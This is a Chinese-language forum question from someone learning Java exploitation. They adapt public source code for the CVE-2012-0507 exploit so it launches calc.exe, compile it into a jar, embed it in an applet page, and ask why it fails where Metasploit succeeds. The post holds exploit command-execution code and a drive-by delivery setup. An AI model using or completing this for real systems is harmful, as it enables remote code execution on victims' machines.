我对 Java 漏洞利用感兴趣并偶然发现了这一点:
https://github.com/redcreen/exploits/tree/master/CVE-2012-0507/redcreen
它是 Java 漏洞利用的源代码,所以即使我对 Java 的了解有限(在高中时学到了一些),所以我试图了解背景中发生的事情。
文件https://github.com/redcreen/exploits/blob/master/CVE-2012-0507/redcreen/Exploit.java有这个代码:
public static void doExploit() throws Exception {
Help _tmp = getHelp();
File file = new File("d:/temp/1.php");
String cmd = "php " + file.getAbsolutePath();
System.out.println(Help.doWork(_tmp, cmd));
}
我认为这是要使用此漏洞执行的代码,所以我将其修改为:
public static void doExploit() throws Exception {
Help _tmp = getHelp();
String cmd = "cmd /c start calc.exe";
System.out.println(Help.doWork(_tmp, cmd));
}
要在成功探索时启动 calc.exe,并使用以下命令对其进行编译:
javac -d bin redcreen/*.java
cd bin
jar cvf ../appplet2.jar redcreen/*.class
并将其放在小程序中:
<!DOCTYPE html>
<html>
<head>
<title>Exploit</title>
</head>
<body>
<applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
</body>
</html>
calc.exe
但是在易受攻击的 Java 机器上执行没有运气。Metasploit 执行确实有效。欢迎任何指导或建议。